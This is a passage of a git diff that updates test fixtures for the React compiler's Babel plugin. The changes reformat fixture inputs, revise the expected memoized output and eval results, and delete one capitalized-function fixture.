-  const x = foo(...props.a, null, ...props.b);
+  const x = makeArray(...props.a, null, ...props.b);
   return x;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: [1, 2], b: [2, 3, 4]}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call.expect.md
index b0bd96c2bf26..4482eab8e6a2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call.expect.md
@@ -28,7 +28,6 @@ function Component(props) {
     const a = [];
     const b = {};
     foo(a, b);
-
     foo(b);
     t0 = <div a={a} b={b} />;
     $[0] = t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capitalized-function-allowlist.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capitalized-function-allowlist.expect.md
deleted file mode 100644
index 9b73080c765f..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capitalized-function-allowlist.expect.md
+++ /dev/null
@@ -1,53 +0,0 @@
-
-## Input
-
-```javascript
-// @validateNoCapitalizedCalls @hookPattern:".*\b(use[^$]+)$"
-import * as React from "react";
-const React$useState = React.useState;
-const THIS_IS_A_CONSTANT = () => {};
-function Component() {
-  const b = Boolean(true); // OK
-  const n = Number(3); // OK
-  const s = String("foo"); // OK
-  const [state, setState] = React$useState(0); // OK
-  const [state2, setState2] = React.useState(1); // OK
-  const constant = THIS_IS_A_CONSTANT(); // OK
-  return 3;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [],
-  isComponent: true,
-};
-
-```
-
-## Code
-
-```javascript
-// @validateNoCapitalizedCalls @hookPattern:".*\b(use[^$]+)$"
-import * as React from "react";
-const React$useState = React.useState;
-const THIS_IS_A_CONSTANT = () => {};
-function Component() {
-  Boolean(true);
-  Number(3);
-  String("foo");
-  React$useState(0);
-  React.useState(1);
-  THIS_IS_A_CONSTANT();
-  return 3;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [],
-  isComponent: true,
-};
-
-```
-      
-### Eval output
-(kind: ok) 3
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capitalized-function-allowlist.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capitalized-function-allowlist.js
deleted file mode 100644
index 34c44913a772..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capitalized-function-allowlist.js
+++ /dev/null
@@ -1,19 +0,0 @@
-// @validateNoCapitalizedCalls @hookPattern:".*\b(use[^$]+)$"
-import * as React from "react";
-const React$useState = React.useState;
-const THIS_IS_A_CONSTANT = () => {};
-function Component() {
-  const b = Boolean(true); // OK
-  const n = Number(3); // OK
-  const s = String("foo"); // OK
-  const [state, setState] = React$useState(0); // OK
-  const [state2, setState2] = React.useState(1); // OK
-  const constant = THIS_IS_A_CONSTANT(); // OK
-  return 3;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [],
-  isComponent: true,
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-indirect-mutate-alias-iife.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-indirect-mutate-alias-iife.expect.md
index a4bc958e49c5..3e6c904fa7d9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-indirect-mutate-alias-iife.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-indirect-mutate-alias-iife.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function component(a) {
-  let x = { a };
+  let x = {a};
   (function () {
     let q = x;
     (function () {
@@ -40,6 +40,7 @@ function component(a) {
   } else {
     x = $[1];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-indirect-mutate-alias-iife.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-indirect-mutate-alias-iife.js
index 2ab496f6a5cb..93fc2a545c49 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-indirect-mutate-alias-iife.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-indirect-mutate-alias-iife.js
@@ -1,5 +1,5 @@
 function component(a) {
-  let x = { a };
+  let x = {a};
   (function () {
     let q = x;
     (function () {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-indirect-mutate-alias.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-indirect-mutate-alias.expect.md
index 8373795ca181..c52a4478545a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-indirect-mutate-alias.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-indirect-mutate-alias.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function component(a) {
-  let x = { a };
+  let x = {a};
   const f0 = function () {
     let q = x;
     const f1 = function () {
@@ -18,8 +18,8 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -48,6 +48,7 @@ function component(a) {
   } else {
     x = $[1];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-indirect-mutate-alias.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-indirect-mutate-alias.js
index 9eda862f72e9..9e90794288f5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-indirect-mutate-alias.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-indirect-mutate-alias.js
@@ -1,5 +1,5 @@
 function component(a) {
-  let x = { a };
+  let x = {a};
   const f0 = function () {
     let q = x;
     const f1 = function () {
@@ -14,6 +14,6 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-param-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-param-mutate.expect.md
index 447ca19e2105..9d3623b849a8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-param-mutate.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-param-mutate.expect.md
@@ -5,7 +5,7 @@
 function getNativeLogFunction(level) {
   return function () {
     let str;
-    if (arguments.length === 1 && typeof arguments[0] === "string") {
+    if (arguments.length === 1 && typeof arguments[0] === 'string') {
       str = arguments[0];
     } else {
       str = Array.prototype.map
@@ -14,13 +14,13 @@ function getNativeLogFunction(level) {
             depth: 10,
           });
         })
-        .join(", ");
+        .join(', ');
     }
     const firstArg = arguments[0];
     let logLevel = level;
     if (
-      typeof firstArg === "string" &&
-      firstArg.slice(0, 9) === "Warning: " &&
+      typeof firstArg === 'string' &&
+      firstArg.slice(0, 9) === 'Warning: ' &&
       logLevel >= LOG_LEVELS.error
     ) {
       logLevel = LOG_LEVELS.warn;
@@ -34,7 +34,7 @@ function getNativeLogFunction(level) {
       );
     }
     if (groupStack.length) {
-      str = groupFormat("", str);
+      str = groupFormat('', str);
     }
     global.nativeLoggingHook(str, logLevel);
   };
@@ -55,11 +55,7 @@ function getNativeLogFunction(level) {
       if (arguments.length === 1 && typeof arguments[0] === "string") {
         str = arguments[0];
       } else {
-        str = Array.prototype.map
-          .call(arguments, function (arg) {
-            return inspect(arg, { depth: 10 });
-          })
-          .join(", ");
+        str = Array.prototype.map.call(arguments, _temp).join(", ");
       }
 
       const firstArg = arguments[0];
@@ -71,6 +67,7 @@ function getNativeLogFunction(level) {
       ) {
         logLevel = LOG_LEVELS.warn;
       }
+
       if (global.__inspectorLog) {
         global.__inspectorLog(
           INSPECTOR_LEVELS[logLevel],
@@ -79,6 +76,7 @@ function getNativeLogFunction(level) {
           INSPECTOR_FRAMES_TO_SKIP,
         );
       }
+
       if (groupStack.length) {
         str = groupFormat("", str);
       }
@@ -92,6 +90,9 @@ function getNativeLogFunction(level) {
   }
   return t0;
 }
+function _temp(arg) {
+  return inspect(arg, { depth: 10 });
+}
 
 ```
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-param-mutate.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-param-mutate.js
index 4ffdaa410ff2..8ea15a0994bd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-param-mutate.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-param-mutate.js
@@ -1,7 +1,7 @@
 function getNativeLogFunction(level) {
   return function () {
     let str;
-    if (arguments.length === 1 && typeof arguments[0] === "string") {
+    if (arguments.length === 1 && typeof arguments[0] === 'string') {
       str = arguments[0];
     } else {
       str = Array.prototype.map
@@ -10,13 +10,13 @@ function getNativeLogFunction(level) {
             depth: 10,
           });
         })
-        .join(", ");
+        .join(', ');
     }
     const firstArg = arguments[0];
     let logLevel = level;
     if (
-      typeof firstArg === "string" &&
-      firstArg.slice(0, 9) === "Warning: " &&
+      typeof firstArg === 'string' &&
+      firstArg.slice(0, 9) === 'Warning: ' &&
       logLevel >= LOG_LEVELS.error
     ) {
       logLevel = LOG_LEVELS.warn;
@@ -30,7 +30,7 @@ function getNativeLogFunction(level) {
       );
     }
     if (groupStack.length) {
-      str = groupFormat("", str);
+      str = groupFormat('', str);
     }
     global.nativeLoggingHook(str, logLevel);
   };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-ref-for-later-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-ref-for-later-mutation.expect.md
index a7652b3d25b9..158d31faca27 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-ref-for-later-mutation.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-ref-for-later-mutation.expect.md
@@ -2,21 +2,21 @@
 ## Input
 
 ```javascript
-import { useRef } from "react";
-import { addOne } from "shared-runtime";
+import {useRef} from 'react';
+import {addOne} from 'shared-runtime';
 
 function useKeyCommand() {
   const currentPosition = useRef(0);
-  const handleKey = (direction) => () => {
+  const handleKey = direction => () => {
     const position = currentPosition.current;
-    const nextPosition = direction === "left" ? addOne(position) : position;
+    const nextPosition = direction === 'left' ? addOne(position) : position;
     currentPosition.current = nextPosition;
   };
   const moveLeft = {
-    handler: handleKey("left"),
+    handler: handleKey('left'),
   };
   const moveRight = {
-    handler: handleKey("right"),
+    handler: handleKey('right'),
   };
   return [moveLeft, moveRight];
 }
@@ -36,27 +36,23 @@ import { useRef } from "react";
 import { addOne } from "shared-runtime";
 
 function useKeyCommand() {
-  const $ = _c(2);
+  const $ = _c(1);
   const currentPosition = useRef(0);
-  const handleKey = (direction) => () => {
-    const position = currentPosition.current;
-    const nextPosition = direction === "left" ? addOne(position) : position;
-    currentPosition.current = nextPosition;
-  };
-
-  const moveLeft = { handler: handleKey("left") };
-
-  const t0 = handleKey("right");
-  let t1;
-  if ($[0] !== t0) {
-    t1 = { handler: t0 };
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    const handleKey = (direction) => () => {
+      const position = currentPosition.current;
+      const nextPosition = direction === "left" ? addOne(position) : position;
+      currentPosition.current = nextPosition;
+    };
+    const moveLeft = { handler: handleKey("left") };
+    const moveRight = { handler: handleKey("right") };
+    t0 = [moveLeft, moveRight];
     $[0] = t0;
-    $[1] = t1;
   } else {
-    t1 = $[1];
+    t0 = $[0];
   }
-  const moveRight = t1;
-  return [moveLeft, moveRight];
+  return t0;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-ref-for-later-mutation.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-ref-for-later-mutation.tsx
index 141802f2daa5..7d8c223baaf6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-ref-for-later-mutation.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-ref-for-later-mutation.tsx
@@ -1,18 +1,18 @@
-import { useRef } from "react";
-import { addOne } from "shared-runtime";
+import {useRef} from 'react';
+import {addOne} from 'shared-runtime';
 
 function useKeyCommand() {
   const currentPosition = useRef(0);
-  const handleKey = (direction) => () => {
+  const handleKey = direction => () => {
     const position = currentPosition.current;
-    const nextPosition = direction === "left" ? addOne(position) : position;
+    const nextPosition = direction === 'left' ? addOne(position) : position;
     currentPosition.current = nextPosition;
   };
   const moveLeft = {
-    handler: handleKey("left"),
+    handler: handleKey('left'),
   };
   const moveRight = {
-    handler: handleKey("right"),
+    handler: handleKey('right'),
   };
   return [moveLeft, moveRight];
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture_mutate-across-fns-iife.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture_mutate-across-fns-iife.expect.md
index 356d6c07c5fd..381ef0750100 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture_mutate-across-fns-iife.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture_mutate-across-fns-iife.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function component(a) {
-  let z = { a };
+  let z = {a};
   (function () {
     (function () {
       z.b = 1;
@@ -37,6 +37,7 @@ function component(a) {
   } else {
     z = $[1];
   }
+
   return z;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture_mutate-across-fns-iife.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture_mutate-across-fns-iife.js
index b226a57c81ae..c738e5ce5d10 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture_mutate-across-fns-iife.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture_mutate-across-fns-iife.js
@@ -1,5 +1,5 @@
 function component(a) {
-  let z = { a };
+  let z = {a};
   (function () {
     (function () {
       z.b = 1;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture_mutate-across-fns.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture_mutate-across-fns.expect.md
index c9c066fef536..0fd96063a60a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture_mutate-across-fns.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture_mutate-across-fns.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function component(a) {
-  let z = { a };
+  let z = {a};
   const f0 = function () {
     const f1 = function () {
       z.b = 1;
@@ -16,8 +16,8 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture_mutate-across-fns.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture_mutate-across-fns.js
index 859620ca0163..e263dc8d5090 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture_mutate-across-fns.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture_mutate-across-fns.js
@@ -1,5 +1,5 @@
 function component(a) {
-  let z = { a };
+  let z = {a};
   const f0 = function () {
     const f1 = function () {
       z.b = 1;
@@ -12,6 +12,6 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-arrow-function-1.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-arrow-function-1.expect.md
index 9852bda40f67..95921ce9f272 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-arrow-function-1.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-arrow-function-1.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function component(a) {
-  let z = { a };
+  let z = {a};
   let x = () => {
     console.log(z);
   };
@@ -12,8 +12,8 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -23,27 +23,20 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function component(a) {
-  const $ = _c(4);
+  const $ = _c(2);
   let t0;
   if ($[0] !== a) {
-    t0 = { a };
+    const z = { a };
+    t0 = () => {
+      console.log(z);
+    };
     $[0] = a;
     $[1] = t0;
   } else {
     t0 = $[1];
   }
-  const z = t0;
-  let t1;
-  if ($[2] !== z) {
-    t1 = () => {
-      console.log(z);
-    };
-    $[2] = z;
-    $[3] = t1;
-  } else {
-    t1 = $[3];
-  }
-  const x = t1;
+  const x = t0;
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-arrow-function-1.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-arrow-function-1.js
index d6bd0cc29c46..2b5f720b2f54 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-arrow-function-1.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-arrow-function-1.js
@@ -1,5 +1,5 @@
 function component(a) {
-  let z = { a };
+  let z = {a};
   let x = () => {
     console.log(z);
   };
@@ -8,6 +8,6 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-2-iife.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-2-iife.expect.md
index b201c8ec5b21..5e0b32709b32 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-2-iife.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-2-iife.expect.md
@@ -2,13 +2,13 @@
 ## Input
 
 ```javascript
-import { mutate } from "shared-runtime";
+import {mutate} from 'shared-runtime';
 
 function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
+  let x = {foo};
+  let y = {bar};
   (function () {
-    let a = { y };
+    let a = {y};
     let b = x;
     a.x = b;
   })();
@@ -18,7 +18,7 @@ function component(foo, bar) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["foo", "bar"],
+  params: ['foo', 'bar'],
 };
 
 ```
@@ -32,7 +32,7 @@ import { mutate } from "shared-runtime";
 function component(foo, bar) {
   const $ = _c(3);
   let x;
-  if ($[0] !== foo || $[1] !== bar) {
+  if ($[0] !== bar || $[1] !== foo) {
     x = { foo };
     const y = { bar };
 
@@ -41,8 +41,8 @@ function component(foo, bar) {
     a.x = b;
 
     mutate(y);
-    $[0] = foo;
-    $[1] = bar;
+    $[0] = bar;
+    $[1] = foo;
     $[2] = x;
   } else {
     x = $[2];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-2-iife.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-2-iife.js
index 5df788637ac0..749cbc0147b0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-2-iife.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-2-iife.js
@@ -1,10 +1,10 @@
-import { mutate } from "shared-runtime";
+import {mutate} from 'shared-runtime';
 
 function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
+  let x = {foo};
+  let y = {bar};
   (function () {
-    let a = { y };
+    let a = {y};
     let b = x;
     a.x = b;
   })();
@@ -14,5 +14,5 @@ function component(foo, bar) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["foo", "bar"],
+  params: ['foo', 'bar'],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-2.expect.md
index e4eac820649c..061e64222eef 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-2.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-2.expect.md
@@ -2,11 +2,13 @@
 ## Input
 
 ```javascript
-function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
+import {mutate} from 'shared-runtime';
+
+function Component({foo, bar}) {
+  let x = {foo};
+  let y = {bar};
   const f0 = function () {
-    let a = { y };
+    let a = {y};
     let b = x;
     a.x = b;
   };
@@ -15,16 +17,30 @@ function component(foo, bar) {
   return x;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{foo: 2, bar: 3}],
+  sequentialRenders: [
+    {foo: 2, bar: 3},
+    {foo: 2, bar: 3},
+    {foo: 2, bar: 4},
+    {foo: 3, bar: 4},
+  ],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function component(foo, bar) {
+import { mutate } from "shared-runtime";
+
+function Component(t0) {
   const $ = _c(3);
+  const { foo, bar } = t0;
   let x;
-  if ($[0] !== foo || $[1] !== bar) {
+  if ($[0] !== bar || $[1] !== foo) {
     x = { foo };
     const y = { bar };
     const f0 = function () {
@@ -35,8 +51,8 @@ function component(foo, bar) {
 
     f0();
     mutate(y);
-    $[0] = foo;
-    $[1] = bar;
+    $[0] = bar;
+    $[1] = foo;
     $[2] = x;
   } else {
     x = $[2];
@@ -44,5 +60,21 @@ function component(foo, bar) {
   return x;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ foo: 2, bar: 3 }],
+  sequentialRenders: [
+    { foo: 2, bar: 3 },
+    { foo: 2, bar: 3 },
+    { foo: 2, bar: 4 },
+    { foo: 3, bar: 4 },
+  ],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) {"foo":2}
+{"foo":2}
+{"foo":2}
+{"foo":3}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-2.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-2.js
index 876bf585373b..8579e8c4943f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-2.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-2.js
@@ -1,8 +1,10 @@
-function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
+import {mutate} from 'shared-runtime';
+
+function Component({foo, bar}) {
+  let x = {foo};
+  let y = {bar};
   const f0 = function () {
-    let a = { y };
+    let a = {y};
     let b = x;
     a.x = b;
   };
@@ -10,3 +12,14 @@ function component(foo, bar) {
   mutate(y);
   return x;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{foo: 2, bar: 3}],
+  sequentialRenders: [
+    {foo: 2, bar: 3},
+    {foo: 2, bar: 3},
+    {foo: 2, bar: 4},
+    {foo: 3, bar: 4},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-arr-2-iife.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-arr-2-iife.expect.md
index d8f889aaf44e..81737a1ed500 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-arr-2-iife.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-arr-2-iife.expect.md
@@ -2,11 +2,11 @@
 ## Input
 
 ```javascript
-const { mutate } = require("shared-runtime");
+const {mutate} = require('shared-runtime');
 
 function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
+  let x = {foo};
+  let y = {bar};
   (function () {
     let a = [y];
     let b = x;
@@ -18,7 +18,7 @@ function component(foo, bar) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["foo", "bar"],
+  params: ['foo', 'bar'],
 };
 
 ```
@@ -32,7 +32,7 @@ const { mutate } = require("shared-runtime");
 function component(foo, bar) {
   const $ = _c(3);
   let x;
-  if ($[0] !== foo || $[1] !== bar) {
+  if ($[0] !== bar || $[1] !== foo) {
     x = { foo };
     const y = { bar };
 
@@ -41,8 +41,8 @@ function component(foo, bar) {
     a.x = b;
 
     mutate(y);
-    $[0] = foo;
-    $[1] = bar;
+    $[0] = bar;
+    $[1] = foo;
     $[2] = x;
   } else {
     x = $[2];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-arr-2-iife.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-arr-2-iife.js
index da53313430b7..6fb34a8ffc12 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-arr-2-iife.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-arr-2-iife.js
@@ -1,8 +1,8 @@
-const { mutate } = require("shared-runtime");
+const {mutate} = require('shared-runtime');
 
 function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
+  let x = {foo};
+  let y = {bar};
   (function () {
     let a = [y];
     let b = x;
@@ -14,5 +14,5 @@ function component(foo, bar) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["foo", "bar"],
+  params: ['foo', 'bar'],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-arr-2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-arr-2.expect.md
index a912853a9120..fb44f2c7b8f2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-arr-2.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-arr-2.expect.md
@@ -2,9 +2,11 @@
 ## Input
 
 ```javascript
-function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
+import {mutate} from 'shared-runtime';
+
+function Component({foo, bar}) {
+  let x = {foo};
+  let y = {bar};
   const f0 = function () {
     let a = [y];
     let b = x;
@@ -15,16 +17,30 @@ function component(foo, bar) {
   return x;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{foo: 2, bar: 3}],
+  sequentialRenders: [
+    {foo: 2, bar: 3},
+    {foo: 2, bar: 3},
+    {foo: 2, bar: 4},
+    {foo: 3, bar: 4},
+  ],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function component(foo, bar) {
+import { mutate } from "shared-runtime";
+
+function Component(t0) {
   const $ = _c(3);
+  const { foo, bar } = t0;
   let x;
-  if ($[0] !== foo || $[1] !== bar) {
+  if ($[0] !== bar || $[1] !== foo) {
     x = { foo };
     const y = { bar };
     const f0 = function () {
@@ -35,8 +51,8 @@ function component(foo, bar) {
 
     f0();
     mutate(y);
-    $[0] = foo;
-    $[1] = bar;
+    $[0] = bar;
+    $[1] = foo;
     $[2] = x;
   } else {
     x = $[2];
@@ -44,5 +60,21 @@ function component(foo, bar) {
   return x;
 }
 
